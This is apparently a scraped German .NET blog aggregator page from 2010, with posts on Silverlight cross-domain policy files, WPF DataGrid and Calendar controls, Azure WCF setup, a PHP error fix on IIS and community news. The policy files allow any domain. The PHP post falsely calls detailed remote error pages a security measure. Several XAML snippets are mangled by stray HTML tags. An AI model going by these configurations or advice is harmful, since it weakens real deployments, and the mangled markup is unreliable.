Die Policy-Datei crossdomain.xml ist eine Alternative, dessen Format ursprünglich von Adobe Flash kommt. Im Unterschied zur clientaccesspolicy.xml muss man in dieser Datei den Zugriff von jeder beliebigen Domäne auf den Webservice erlauben. Macht man dies nicht, wird der Cross domain call von Silverlight nicht akzeptiert.

In der clientaccesspolicy.xml kann man hingegen, den Zugriff auf den Webservice von bestimmten Domänen einschränken (allow-from->domain). Ist also die Verwendung dieser Policy-Datei zu präferieren.

clientaccesspolicy.xml
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
  <cross-domain-access>
    <policy>
      <allow-from http-request-headers="*">
        <domain uri="*"/>
      </allow-from>
      <grant-to>
        <resource path="/" include-subpaths="true"/>
      </grant-to>
    </policy>
  </cross-domain-access>
</access-policy>
crossdomain.xml
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>

Bei beiden Dateien müssen, damit diese auch in die Silverlight XAP gepackt werden, die Attribute Content und Copy if newer gesetzt werden.

PaperMe fertig gestellt!

10.04.2010 00:56:00 | Daniel Springwald

Die erste Version von PaperMe.de ist nun online gegangen.

Ein PaperMe ist ein sehr persönlicher Bastelbogen (neudeutsch: Papercraft).

Mit PaperMe kann jeder in 5 Minuten individuelle Bastelbögen ganz einfach selbst erstellen.

Ganz einfach ein Foto hochladen, Kleidung und Frisuren auswählen und dann den Bastelbogen als PDF herunterladen.

Das neue DataGrid Steuerelement

09.04.2010 20:21:00 | Lars Schmitt

An dieser Stelle, möchte ein kurzen Blick auf das neue Steuerelement DataGrid werfen.

 

Wie man es von der Windows Forms Version gewohnt ist, Bindet man eine Datenquelle an dieses Steuerelement und das DataGrid zeigt es an.

 

image

 

um Z.b. diese Fenster zu erzeugen bedarf nur dieser paar Zeilen XAML Code.
   
  

<Window x:Class="WpfApplication28.MainWindow"         xmlns="<a href="http://schemas.microsoft.com/winfx/2006/xaml/presentation"">http://schemas.microsoft.com/winfx/2006/xaml/presentation"</a         xmlns:x="<a href=">http://schemas.microsoft.com/winfx/2006/xaml"">http://schemas.microsoft.com/winfx/2006/xaml"</a     
        Title="MainWindow" Height="350" Width="525">     
    <Window.Resources>     
        </a x:Key="Data" Source="<a>file:///c:/blogs/larsschmitt/Contact.xml" XPath="/contacts"/>     
    </Window.Resources>     
    <Grid>     
        <DataGrid DataContext="{StaticResource Data}" ItemsSource="{Binding XPath=ContactItem}"/>     
    </Grid>     
</Window>    

An diesem Beispiel kann man auch schon gut erkennen, dass man auch dieses mal nicht nur auf Text Zellen beschränkt ist.

 

Die neue Version bringt erst einmal die folgende SpaltenTypen Ich denke mal diese unterschiedlichen Spaltentypen erklären sich von selber.

DataGridCheckBoxColumn
DataGridComboBoxColumn
DataGridHyperlinkColumn
DataGridTemplateColumn
DataGridTextColumn

 

 

 

Selbstverständlich kann die automatische Spalten anzeige, über das Property AutoGenerateColumns deaktiviert werden, somit können die Spalten dann vom Entwickler selbst erzeugt werden. (Ebenfalls wäre eine teils Generiert und teils per Hand Lösung möglich)

 image

   
  

<Window x:Class="WpfApplication28.MainWindow"    
        xmlns="<a href="http://schemas.microsoft.com/winfx/2006/xaml/presentation"">http://schemas.microsoft.com/winfx/2006/xaml/presentation"</a     
        xmlns:x="<a href=">http://schemas.microsoft.com/winfx/2006/xaml"">http://schemas.microsoft.com/winfx/2006/xaml"</a     
        Title="MainWindow" Height="350" Width="525">     
    <Window.Resources>     
        </a x:Key="Data" Source="<a>file:///c:/blogs/larsschmitt/Contact.xml" XPath="/contacts"/>     
    </Window.Resources>     
    <Grid>     
        <DataGrid DataContext="{StaticResource Data}" ItemsSource="{Binding XPath=ContactItem}" AutoGenerateColumns="False">     
            <DataGrid.Columns>     
                <DataGridTextColumn Binding="{Binding XPath=FirstName}" Header="Firstname"/>     
                <DataGridTextColumn Binding="{Binding XPath=LastName}" Header="Lastname"/>     
            </DataGrid.Columns>     
        </DataGrid>     
    </Grid>     
</Window>     

 

 

Normalerweise bin ich unter WPF kein Freund des Designers, jedoch an dieser stelle, lohnt es sich auch mal ein Blick in den Designers des neue Visual Studio 2010 zu werfen.

 

image



So richtig interessant wird es jedoch erst, mitsamt der neuen Version vom Visual Studio.

 

Ein kleiner Klick auf das Label, mit der Aufschrift Generate Columns erzeugt mit dieser Datenquelle.

  

<Grid>    
        <DataGrid DataContext="{StaticResource Data}" ItemsSource="{Binding XPath=ContactItem}" AutoGenerateColumns="False">     
            <DataGrid.Columns>     
                <DataGridTextColumn Binding="{Binding XPath=FirstName}" Header="Firstname"/>     
                <DataGridTextColumn Binding="{Binding XPath=LastName}" Header="Lastname"/>     
                <DataGridTextColumn Binding="{Binding Path=Name, Mode=OneWay}" Header="Name" IsReadOnly="True" />     
                <DataGridTextColumn Binding="{Binding Path=Value}" Header="Value" />     
                <DataGridComboBoxColumn Header="NodeType" IsReadOnly="True" SelectedItemBinding="{Binding Path=NodeType, Mode=OneWay}" />     
                <DataGridTextColumn Binding="{Binding Path=ParentNode, Mode=OneWay}" CanUserSort="False" Header="ParentNode" IsReadOnly="True" />     
                <DataGridTextColumn Binding="{Binding Path=ChildNodes, Mode=OneWay}" CanUserSort="False" Header="ChildNodes" IsReadOnly="True" />     
                <DataGridTextColumn Binding="{Binding Path=PreviousSibling, Mode=OneWay}" CanUserSort="False" Header="PreviousSibling" IsReadOnly="True" />     
                <DataGridTextColumn Binding="{Binding Path=NextSibling, Mode=OneWay}" CanUserSort="False" Header="NextSibling" IsReadOnly="True" />     
                <DataGridTextColumn Binding="{Binding Path=Attributes, Mode=OneWay}" CanUserSort="False" Header="Attributes" IsReadOnly="True" />     
                <DataGridTextColumn Binding="{Binding Path=OwnerDocument, Mode=OneWay}" CanUserSort="False" Header="OwnerDocument" IsReadOnly="True" />     
                <DataGridTextColumn Binding="{Binding Path=FirstChild, Mode=OneWay}" CanUserSort="False" Header="FirstChild" IsReadOnly="True" />     
                <DataGridTextColumn Binding="{Binding Path=LastChild, Mode=OneWay}" CanUserSort="False" Header="LastChild" IsReadOnly="True" />     
                <DataGridCheckBoxColumn Binding="{Binding Path=HasChildNodes, Mode=OneWay}" Header="HasChildNodes" IsReadOnly="True" />     
                <DataGridTextColumn Binding="{Binding Path=NamespaceURI, Mode=OneWay}" Header="NamespaceURI" IsReadOnly="True" />     
                <DataGridTextColumn Binding="{Binding Path=Prefix}" Header="Prefix" />     
                <DataGridTextColumn Binding="{Binding Path=LocalName, Mode=OneWay}" Header="LocalName" IsReadOnly="True" />     
                <DataGridCheckBoxColumn Binding="{Binding Path=IsReadOnly, Mode=OneWay}" Header="IsReadOnly" IsReadOnly="True" />     
                <DataGridTextColumn Binding="{Binding Path=InnerText}" Header="InnerText" />     
                <DataGridTextColumn Binding="{Binding Path=OuterXml, Mode=OneWay}" Header="OuterXml" IsReadOnly="True" />     
                <DataGridTextColumn Binding="{Binding Path=InnerXml}" Header="InnerXml" />     
                <DataGridTextColumn Binding="{Binding Path=SchemaInfo, Mode=OneWay}" CanUserSort="False" Header="SchemaInfo" IsReadOnly="True" />     
                <DataGridTextColumn Binding="{Binding Path=BaseURI, Mode=OneWay}" Header="BaseURI" IsReadOnly="True" />     
            </DataGrid.Columns>     
        </DataGrid>     
    </Grid>  

Aber was ist, wenn man nur einige Spalten braucht?

Auch an dieser Stelle, kann das Visual Studio helfen. Hinter dem Label mit der Aufschrift Edit Property-Bound Columns verbirgt sich ein Fenster, in dem man auch einzelne Spalten auswählen kann.

image

 

Meiner Meinung nach rücken mit diesem sehr gut gelungenen Control, komplett mit den WPF-Core Controls entwickelte Business Anwendungen, einen großen Schritt näher.

TT.DOM in der aktuellen dotnetpro, Teil 2

09.04.2010 08:11:00 | Jörg Neumann

In der aktuellen Ausgabe der dotnetpro (5/2010) ist der zweite Teil meiner vierteiligen Artikelserie über TT.DOM erschienen. Hierin geht es um das Change Tracking und die Transaktionsunterstützung von TT.DOM.

Aus dem Abstract:

Das Verfolgen von Änderungen in eigenen gebundenen Datenobjekten kann zu einer ziemlich komplizierten
Angelegenheit werden. Das Gleiche gilt für Transaktionen dieser Objekte. Diese sind die Grundlage dafür, Änderungen
von Objekten wieder rückgängig zu machen. Das Framework Thinktecture.DataObjectModel und sein generisches
Datenobjektmodell erleichtern dies.

dnp_052010

Silverlight Client with WCF Service hosted on cloud (Windows Azure)

08.04.2010 19:41:00 | Patric Schouler

Nach einigen Stunden Config-Debugging möchte ich mal meine wesentlichen Informationen für Einstellungsarbeiten und Patch-/Hotfix-Installation geben, wenn man für folgendes Szenario eine Anwendung entwerfen möchte:

“Ein Silverlight-Client in der Cloud (Windows Azure)” nutzt einen ebenfalls in der Cloud gehosteten Webservice (basicHttpBinding)”

Betriebssystem: Windows 7
Webserver: IIS 7.5
Visual Studio: 2008 (SP1)
.NET: 3.5 (SP1)
CloudService: 1.1 (Feb. 2010)

Damit eine Windows-Azure Anwendung läuft, muss man über einen lauffähigen IIS verfügen. Als Entwickler nimmt man hierfür am besten den lokalen IIS auf dem eigenen Rechner. Für meinen IIS habe ich über die Funktion Control Panel->Programs and Features->Turn Windows features on or off folgende Einstellungen vorgenommen:

image  

Wichtig ist die Aktivierung der “Windows Communication Foundation HTTP Activation” unter Microsoft .NET Framework 3.5.1.

Hotfix für WCF mit .NET Framework 3.5 unter Windows 7 oder Windows Server 2008 R2

Diese Hotfix-Sammlung http://support.microsoft.com/kb/981002/en-us muss installiert werden, damit die WCF Services in der obigen Konfiguration unter Windows Azure ohne Fehlermeldung arbeiten.

In der Web.Config seiner WebRole (von dem Windows Azure-Part des Projekts) muss der betroffene Service mit folgendem Behaviour definiert werden:

<behavior name="LoadBalancedBehavior">
         <serviceMetadata httpGetEnabled="true" />
         <serviceDebug includeExceptionDetailInFaults="true"/>
         <useRequestHeadersForMetadataAddress>
           <defaultPorts>
             <add scheme="http" port="81" />
             <add scheme="https" port="444" />
           </defaultPorts>
         </useRequestHeadersForMetadataAddress>
       </behavior>

Info: Windows Azure Web-Dienste oder Webrollen laufen immer ab Port 81 und werden z.B. als http://127.0.0.1:81/Services/Service1.svc adressiert.

Bei der Generierung der Proxy-Klassen für den Silverlight-Client muss man dazu entweder eine zweite Visual Studio-Instanz aufmachen – damit erkennt Visual Studio den laufenden Service unter der Port 81-Adresse (ansonsten bekommt man die Adresse mit localhost:xxxxx des Cassini-Webservers) – oder man macht nach der Generierung der Proxy-Klassen ein Suchen/Ersetzen des http://localhost:xxxx/Services/Service1.svc durch http://127.0.0.1:81/Services/Service1.svc.

Ein weitere Falle, in die man rein treten kann ist, das der MIME-Type im IIS für .xap nicht definiert ist. Hier hilft dann folgendes:

To ensure solutions containing Silverlight clients work correctly in the development fabric, please ensure that the MIME type for the Silverlight .xap extension is configured correctly in IIS.

1. Open Internet Information Services (IIS) Configuration Manager and select the server to manage (usually the top-level item on the left side)

2. Double-click MIME Types on the right side

3. Add an entry to map the .xap extension to the application/x-silverlight-app MIME type

Um den Silverlight-Client debuggen zu können, kann man überprüfen, ob der ensprechende Haken in der Web-Rolle gesetzt ist:

If for some reason (say if you were doing Javascript debugging "you cannot debug Silverlight code and JavaScript code at the same time." or you didn't select "Enable Silverlight debugging when you created the Silverlight project) you disabled the Silverlight debugger, you can re-enable it on the Web tab of the Web Application project settings (lower right corner):

Mehr Informationen zum Thema Debugging von Windows Azure-Applikationen findet man übrigens hier: http://msdn.microsoft.com/en-us/library/cc838267(VS.95).aspx

Webcast Serie - Silverlight in Deep – Das Testen von Silverlight Anwendungen

08.04.2010 18:27:00 | Gregor Biswanger

Ab heute gibt es einen weiteren Teil zu meiner Webcast-Serie – Silverlight in Deep. Die Serie besteht aus 5 Teilen und ist für fortgeschrittene Silverlight Entwickler.

Teil 1 – AOP in Silverlight
Teil 2 – Das MVVM in Silverlight
Teil 3 – Das Testen von Silverlight Anwendungen
Teil 4 – Microkernel Unity in Silverlight
Teil 5 – Silverlight als CMS verwenden

http://www.microsoft.com/germany/msdn/webcasts/serien/MSDNWCS-0907-04.mspx

Das Testen von Silverlight-Anwendungen

Zur Überprüfung von Silverlight-Anwendungen stellt Microsoft das 'Silverlight UI Test Framework' kostenfrei zur Verfügung. Der Webcast befaßt sich zunächst mit dem Testen des klassischen .NET-Sourcecodes, anschließend wird der Einsatz des UI Test Framework demonstriert. Ein Praxisbeispiel veranschaulicht dabei die Stärke des MVVM-Patterns.

http://www.microsoft.com/germany/msdn/webcasts/library.aspx?id=1032446061

Über weiteres Feedback zum Webcast freue ich mich jetzt schon.

PHP on Windows Server 2008 : 500 - Internal Server Error on IIS

07.04.2010 20:59:00 | Andreas Mehl

If you work on a Windows server 2008 machine with IIS 7.0 and with PHP on it you can ran into a strange error.
If there is a bug in your php Script - The server stops running the script with this message : 

Server Error

500 - Internal server error.

There is a problem with the resource you are looking for, and it cannot be displayed. Internal Server Error - Windows Server 2008


Cause:

This error happens on the default configuration of windows server 2008. The server logs do not say a lot except for the fact that the php file is causing an error. This happens for the following reasons on the server:

  •   PHP Fatal error (Something that you did or didn’t do caused the server to run into a fatal error)
  •   PHP error_reporting is on and there are some errors (Anything from a NOTICE or WARNING can cause this)


 
How to resolve:

The best way to resolve the error is find out what is wrong with the PHP code.
But how do you do this if the server won’t show you what the error is?
One of the best ways to find what is wrong with your PHP script is to:

Change IIS 7.0 Settings
You can always change the configuration using the Configuration Editor of IIS 7.0.
You will find this under the Section > system.webServer/httpErrors. You have to change errorMode to Detailed from the usual DetailedLocalOnly and then click on Apply.

This is also a good security measure as it will not accidentally show your PHP errors to the users of your system.

12.04.2010 Live-Chat zum Visual Studio 2010-Launch: Unsere Experten beantworten Ihre Fragen

07.04.2010 14:20:32 | Kay Giza

Und damit die bislang leistungsstärkste Version für reibungsloses Programmieren. Unterstützung mehrerer Monitore, verbessertes Debuggen und SharePoint-Integration – mit einer Palette an neuen und optimierten Funktionen schreiben Sie in kürzerer Zeit noch bessere Software. Sie möchten wissen, wie genau Ihnen Visual Studio 2010 das Arbeiten erleichtert? Oder haben konkrete Fragen zu einzelnen Neuerungen? Zögern Sie nicht und stellen Sie Ihre Fragen live. Dazu haben Sie am Montag, 12.04.2010 Gelegenheit. Von 15.00-17.00 Uhr... [...mehr]

This post is powered by www.Giza-Blog.de | Giza-Blog.de: RSS Feed
Visit:  MSDN Online | Follow MSDN Online on Twitter | Follow Kay Giza on Twitter
Daily News on MSDN:  MSDN Aktuell
© Copyright 2006-2010 Kay Giza. All rights reserved. Legal
Subscribe

User Group-Tour 2010: Windows 7-Wissen fuer Entwickler

07.04.2010 13:16:56 | Kay Giza

Braunschweig, Ulm, Paderborn, Köln, Bremen, Berlin, München, Augsburg und Stuttgart: Einwohner und weiträumige Nachbarn dieser schönen Städte (im Ernst, Paderborn ist gar nicht so schlecht) haben das Glück, neben großartigen .NET User Groups auch über besonders charmante und smarte Entwickler zu verfügen. Sie erhalten im April und Mai 2010 Besuch von Microsoft Deutschlands Peter Kirchner, der neben 2 atemberaubenden Assistentinnen auch jede Menge an Windows 7-spezifischem Entwicklerwissen mitbringt und vor Ort vermittelt. Alle Termine, Infos und was es zu gewinnen gibt, entnehmen Sie bitte diesem ausführlichen Blogeintrag auf Giza-Blog.de... [... mehr]

This post is powered by www.Giza-Blog.de | Giza-Blog.de: RSS Feed
Visit:  MSDN Online | Follow MSDN Online on Twitter | Follow Kay Giza on Twitter
Daily News on MSDN:  MSDN Aktuell
© Copyright 2006-2010 Kay Giza. All rights reserved. Legal
Subscribe

Visual Studio 2010: Windows-Programme mit Visual C++ erstellen

07.04.2010 12:54:02 | Kay Giza

Ich freue mich, einige neue MSDN Library ankündigen zu dürfen. In der deutschsprachigen MSDN Library stehen sechs neue Artikel zur Verfügung, die demonstrieren, wie man mit Visual Studio 2010 Windows-Programme mit einer grafischen Benutzeroberfläche in Visual C++ erstellen kann. Alle Artikel von Richard und Alexander Kaiser basieren auf dem Fachbuch "C++ mit Microsoft Visual C++ 2008". Folgende Themen sind verfügbar: Erste Schritte: Einfache Windows .NET Programme mit Visual C++ Dieser Artikel zeigt an sehr einfachen Beispielen, wie man mit... [... lesen Sie den vollständigen Artikel auf Giza-Blog.de]

This post is powered by www.Giza-Blog.de | Giza-Blog.de: RSS Feed
Visit:  MSDN Online | Follow MSDN Online on Twitter | Follow Kay Giza on Twitter
Daily News on MSDN:  MSDN Aktuell
© Copyright 2006-2010 Kay Giza. All rights reserved. Legal
Subscribe

Coding Camp: Entdeckt die Welt von Windows Phone 7

07.04.2010 12:44:38 | Kay Giza

Das eigene App auf dem neuen Windows Phone 7? Unter dem Motto 'Entdecke die neue Welt des Mobile Developments!' zeigt Microsoft Studenten vom 07.-09. Mai 2010 auf der alten Ritterburg in einem unvergleichlichen Ambiente, was diese neue Welt alles zu bieten hat. Gemeinsam mit den Microsoft Experten Frank Prengel, Oliver Scheer und Tom Wendel erwartet die Studenten die ultimative Coding-Erfahrung! Übernachtung und Verpflegung übernimmt Microsoft! Alle Informationen dazu hier in diesem Blogeintrag auf Giza-Blog.de... [...mehr]

This post is powered by www.Giza-Blog.de | Giza-Blog.de: RSS Feed
Visit:  MSDN Online | Follow MSDN Online on Twitter | Follow Kay Giza on Twitter
Daily News on MSDN:  MSDN Aktuell
© Copyright 2006-2010 Kay Giza. All rights reserved. Legal
Subscribe

Windows 7 und Outlook

07.04.2010 04:13:00 | Jürgen Gutsch

Kein (ASP).NET Thema, aber eventuell doch für den einen oder anderen interessant:

Wer Outlook 2007 unter Windows 7 verwendet, an die Taskbar pinnt und gleichzeitig die Option “Ausblenden, wenn minimiert” eingeschalten hat, hat sicher das gleiche Problem das ich bisher hatte: Jedes Mal wenn ich Outlook über die Taskbar öffne, öffnet sich eine neue Instanz von Outlook. Ein relativ nerviges Feature, da man vor allem beim Schließen von Outlook erst alle Instanzen schließen muss.

Ich habe folgende Lösung gefunden:

  1. Man muss eine neue Verknüpfung erstellen die auf die outlook.exe verweist.
  2. folgenden Parameter anhängen: “/recycle”.
    (“…\Microsoft Office\Office12\outlook.exe /recycle”)
  3. Die vorhandene Verknüpfung kann man von der Taskbar entfernen.
  4. Die neue Verknüpfung an die Taskbar pinnen.
  5. Anschließend kann die erstellte Verknüpfung entfernt werden.
  6. Fertig

Nun wird bei jedem Klick auf die gepinnte Verknüpfung die vorhandene Instanz geöffnet, statt einer neuen Instanz.

(Via: Windows 7 and Outlook 2007 problem (more instances))

DotNetKicks-DE Image

Windows Phone 7 Trainingsressourcen

06.04.2010 17:36:04 | Oliver Scheer

Windows Phone for Developers

Windows Phone Developer Documentation on MSDN

Code Samples

Developer Guides:

MIX Sessions on Windows Phone:

Starke Community: Mehr als 500 deutschsprachige Microsoft-Communities

06.04.2010 14:34:27 | Kay Giza

Also, es ist nun schon einige Zeit her, dass ich MVP war, in Foren (außerhalb von Microsoft) extrem aktiv war, aber ich habe den Community-Gedanken nie verloren. Das ist wie Fahrradfahren, verlernen geht da nicht. Daher ist es um so erfreulicher, dass insbesondere im deutschsprachigen Raum die Zahl der Anwender-Communities rund um Microsoft-Produkte, -Services und -Technologien beständig wächst. Gerade haben wir festgestellt, dass sich die 500. dieser nicht-kommerziellen Communities in Hannover gegründet hat! Wow - meinen herzlichen Glückwunsch! Der "Microsoft Community Guide", den Microsoft Deutschland als Orientierungshilfe im Web bereitstellt, wurde alleine in den zurückliegenden zwölf Monaten um rund 90 Communities erweitert. Ich bin wirklich stolz auf die Microsoft Community. Warum? Der... [... lesen Sie den vollständigen Artikel auf Giza-Blog.de]

This post is powered by www.Giza-Blog.de | Giza-Blog.de: RSS Feed
Visit:  MSDN Online | Follow MSDN Online on Twitter | Follow Kay Giza on Twitter
Daily News on MSDN:  MSDN Aktuell
© Copyright 2006-2010 Kay Giza. All rights reserved. Legal
Subscribe

Silverlight 4 RC Facebook-Client

06.04.2010 11:05:00 | Oliver Scheer

Wer sich schon mal den sehr schicken Facebook-Client installiert hat, der mit Silverlight 4 entwickelt wurde, der wird bestimmt vor einigen Tagen auf ein Problem gestoßen sein.

Mit der Veröffentlichung des Release Candidate von Silverlight 4, hat der alte Facebook-Client leider so seine Probleme. Allerdings ist der Client jetzt aktualisiert worden.

Wie kommt man nun an den neuen Facebook-Client?

  1. Einfach den alten Client über die Systemsteuerung deinstallieren (genau wie “normale” Programme).
  2. Sicherstellen das man Silverlight 4 RC installiert hat
  3. Diesen Link anklicken: http://bit.ly/facebookclient 

Anschließend sollte man den aktualisierten Facebook-Client in Silverlight 4 haben.

Vielleicht fällt einem dann auch auf, das es diverse Aktualisierungen an der Oberfläche gab.

Open Source Schriftarten

06.04.2010 10:38:00 | Oliver Scheer

Silverlight bringt bekanntlicherweise nur eine begrenzte Anzahl von Schriftarten mit. Der Grund darin liegt darin, das man die Größe der auszuliefernden Laufzeitumgebung natürlich sehr klein halten will.

Allerdings steht es jedem frei, weitere Schriftarten in seine eigene Anwendung zu integrieren. Auf www.nerdplusart.com bin ich auf zehn Open Source Schriftarten gestoßen die man frei in seine eigenen Silverlight-Anwendungen integrieren kann.

Mehr zu diesen Schriftarten gibt es hier.

Windows Phone 7 Icon Pack

06.04.2010 09:52:00 | Oliver Scheer

Metro ist der Name der Designsprache die das Windows Phone 7 bestimmt. Diese Sprache bzw. das daraus resultierende Design basiert auf der Idee von Informationsschildern in U-Bahn-Stationen und Flughäfen (einfach formuliert). Die dort zu findenden Symbole sind sehr einfach und international verständlich.

Microsoft hat jetzt ein Paket von 32 Symbolen für Metro veröffentlicht. Jeweils in Schwarz, Weiss und als Vektorformat für Blend.

image

Mehr Informationen: hier

Download der Symbole: hier.

Silverlight für Symbian S60

06.04.2010 08:13:54 | Oliver Scheer

Auf der Mix ist es leider etwas untergegangen, aber Silverlight ist jetzt auch auf Symbian-fähigen Geräten möglich. Derzeit noch als Beta-Version. Zu den unterstützten Geräten gehören u.a. : Nokia 5800 XpressMusic, Nokia N97, etc.

Die notwendigen Ressourcen dafür sind hier verfügbar:

Microsoft® Silverlight™ for Symbian – Beta Developer Tools
http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=8ea911cb-951c-47d8-a04b-682c76c42b67

Microsoft® Silverlight™ for Symbian - Beta
http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=ce63ec61-2a49-4b4e-8900-ae5cd99d5aee

Getting Started with Sivlerlight for Symbian Beta
http://go.microsoft.com/fwlink/?LinkId=185371

Silverlight for Symbian Platform Reference 
http://go.microsoft.com/fwlink/?LinkId=184637

Das neue Calendar Steuerelement

06.04.2010 08:00:00 | Lars Schmitt

Da der Release Termin, für das .Net Framework 4.0 immer näher rückt (12.04.2010), möchte ich an dieser Stelle, mal einen kleinen Blick auf die (neuen) Controls werfen.

 

Das Calendar Control ist ganz klar ein Teilprodukt des DatePicker und bietet so dem Entwickler, eine weitere Möglichkeit der Datumsauswahl.

Dieses Steuerelement, kann mittels des Properties DisplayMode in seine 3 Initial Ansichten betrieben werden.

 

image

DisplayMode Month

Die Default mäßige Ansicht des neun Calendar Controls, im diesem kann der Tag des im oben angegebenen Zeitraumes ausgewählt werden.

Mit einem Klick auf das obere Label ‘April 2010’, gelangt der Anwender zur der zweiten von 3 möglichen Ansichten, dieses Steuerelements.

image

‘DisplayMode Year’

Wie unschwer zu erkennen, kann der Anwender an dieser Stelle den Betreffende Monat ausgewählt werden

 

Mit einem weitere Klick auf das Jahr gelangt der Anwender zur letzten Ansicht dieses Steuerlements

image

DisplayMode Decade

Zu guter letzt wird an dieser Stelle das betreffende Jahr ausgewählt

 

Des weiteren bietet dieses Control, das nette Feature der unterschiedlichen Selektionsweisen.

  • SingleDate     (nur ein Tag wählbar)
  • SingleRange   (einen zusammenhängenden Zeitraum auswählen)
  • MultiRange    (verschiedenen nicht zusammenhängende Zeiträume mittels der STRG auswählen)
  • None             ( was macht diese Funktion doch gleich  ????)

Diskussionsgrundlage: Deutschsprachiger .NET-Community MVP

06.04.2010 06:59:00 | Jürgen Gutsch

Seit längerem habe ich mir schon Gedanken über eine alternative, bzw. ergänzende Auszeichnung für lobenswerte Community-Aktivitäten im deutschsprachigen Raum gemacht.

Der Grund dafür ist zum einen, dass es einige Personen gibt, die sich für die .NET-Community enorm ins zeug legen, präsent sind aber bisher keine entsprechende Auszeichnung bekommen konnten.

Ein weiterer Grund ist, die Attraktivität der .NET-Community weiter zu steigern und vor allem neue Leute zu animieren, aktiv teilzunehmen. Die Beiträge aus der .NET-Community werden verständlicherweise hauptsächlich konsumiert. Allerdings gibt es sehr viele, sehr gute Entwickler, die nicht in der .NET-Community aktiv beteiligt sind, aber enormes Wissen und könnten.

Ich dachte also an einen “deutschsprachigen .NET-Community MVP” der diejenigen Personen auszeichnet, die ihr wissen in Online- und Offline-Communities bewiesen haben. Die deutschsprachigen .NET-Community sollte also diejenigen ermutigen, welche die deutschsprachigen .NET-Community auf diese Art unterstützen und vorantreiben.

Es sollten weder einzelne Online- und Offline-Communities bewertet werden, noch sollten diese Bewertungen von einzelnen Online- und Offline-Communities übernommen oder beeinflusst werden (letzteres ist wohl kaum zu verhindern), sondern es zählt die deutschsprachigen .NET-Community als ganzes.

Dieser deutschsprachige .NET-Community MVP kann also als übergeordnete Plattform angesehen werden.

Das Ziel ist keine Konkurrenz zu Microsoft MVP, sondern lediglich eine Ergänzung oder eine Alternative die nicht an Microsoft gebunden ist. Die Microsoft MVPs sind unabhängige Experten, das ist klar, der MVP Award selber ist allerdings ein Teil von Microsoft. Dieser deutschsprachige .NET-Community MVP sollte ein Award von der Community an die Community sein.

Wie wird der MVP ausgezeichnet?

Ähnlich dem Microsoft MVP könnte eine Art Urkunde überreicht werden und ein Logo für die Nutzung auf der eigenen Website, etc. zur Verfügung gestellt werden. Unterstützung von Softwareherstellern, technischen Verlagen, Veranstaltern technischer Konferenzen, etc. für die “Awardees” sollte nicht ausgeschlossen sein. Ebenfalls analog zum Microsoft MVP sollte die Auszeichnung auf ein Jahr begrenzt sein.

Wie wird bewertet?

Das ist ein Punkt über den ich mir am wenigsten klar bin.

Wer hat das recht einzelne Personen zu Bewerten und “in den Kreis der Privilegierten” aufzunehmen? Wer ist unabhängig genug um eine faire Auswahl zu treffen? Nach welchen Kriterien soll bewertet und ausgewählt werden?

Klar ist: Es sollte keinen “Kreis der Privilegierten” geben. Es ist eine Auszeichnung auf Zeit.

Klar ist auch, dass die Auswahl nur von der deutschsprachigen .NET-Community vorgenommen werden darf. Sowohl Vorschläge zu potentiellen MVPs als auch zu möglichen Themenbereichen sollten aus der .NET-Community kommen.

Aber wer prüft die Vorschläge? Ist eine Einzelperson fair genug? Sollte es mehrere “Juroren” geben?

Ich denke, das kann nicht von eine Masse (der .NET-Community) übernommen werden. Statt dessen sollten sich mehrere Leute aus der Community verpflichten nach besten Wissen und Gewissen die Vorschläge zu prüfen und zu bewerten. Vielleicht sollte es eine ungerade Anzahl von Personen aus der deutschsprachigen .NET-Community geben (etwa neun oder elf Personen) welche die Vorschläge auswerden. Eventuell sollten diese Juroren aus der deutschsprachigen .NET-Community (oder bereits vorhandenen MVPs) für ein Jahr (oder zwei) gewählt werden.

Darf der Betreiber, Leiter, Manager dieser Plattform auch Juror sein? Ich denke nicht, da es zu einem Interessenkonflikt kommen kann.

Darf der Betreiber, Leiter, Manager ein MVP sein? Ich denke ja, wenn er gewählt wird. Da er hiermit die .NET-Community unterstützt.

Wenn MVPs Juror werden können, dürfen Juroren welche MVPs sind neu vorgeschlagen werden? Dürfen Juroren die MVPs sind und vorgeschlagen werden, die Vorschläge prüfen? Ich denke die Antwort ist “Ja”, da es zum einen mehrere Kollegen gibt, die sich gegenseitig prüfen, zum anderen haben sich die Juroren verpflichtet nach besten Wissen und Gewissen vorzugehen.

Man könnte sich vorstellen, dass alle (außer “Juroren”) Vorschläge machen dürfen. Alle Vorschläge werden einfach gewichtet (=jeder Vorschlag ein Punkt). Vorschläge von MVPs können auch zweifach gewichtet sein (=jeder Vorschlag zwei Punkte). Bereits gewählte MVPs könnten schon (mit vielleicht 200 Punkten) standardmäßig gewichtet sein. Die Juroren gehen am Ende die Vorschläge der Gewichtung nach durch und prüfen die Richtigkeit.

Sollte man die Anzahl der MVPs begrenzen oder nur eine Mindestgewichtung (etwa 500 Punkte) für MVPs vorgeben? Im letzten Fall würden alle Personen zu MVPs die mindestens 500 Punkte bekommen. Ich tendiere eher zu letzterer Variante.

(Wichtig: diese Zahlen sind nur Gedankenspiele)

Wie sähe das jetzt anhand dieser Überlegungen aus?

Angenommen man würde obige Überlegung mal zusammenfassen, so hätten wir eine Plattform, die aus etwa folgende Personen bestehen könnte:

  • Betreiber (Leitung)
    • Manager
    • Technik
    • Sponsoring
    • Finanzen
    • Presse
    • Kommunikation
  • Juroren
    1. Vorsitzender Juror
    2. Juror (Stellvertretender Vorsitzender)
    3. Juror
    4. Juror
    5. Juror
    6. Juror
    7. Juror
    8. Juror
    9. Juror
    10. Juror
    11. Juror
  • Community
    • Community Member
    • MVPs

Bewertung: (Beispiel)

  • Start Gewichtung
    • Neuer Vorschlag: 0 Punkte
    • Vorschlag eines MVP: 200 Punkte
  • Gewichtung der Vorschläge
    • durch Community Member: 1 Punkt
    • durch MVP: 2 Punkte
  • Ziel
    • Vorschlag mit 500 oder mehr Punkten ist MVP
    • Vorschlag mit weniger als 500 Punkten ist später wieder ein Neuvorschlag

Und nun?

Ist diese Idee umsetzbar? Finden sich Leute, die diese Idee umsetzen wollen? Oder gibt es möglicherweise ganz andere Ideen und Vorschläge? Wer hat Lust zu Kontern und an der Diskussion teilzunehmen?

Ich bin gespannt. Vielleicht entwickelt sich ja tatsächlich was draus :-)

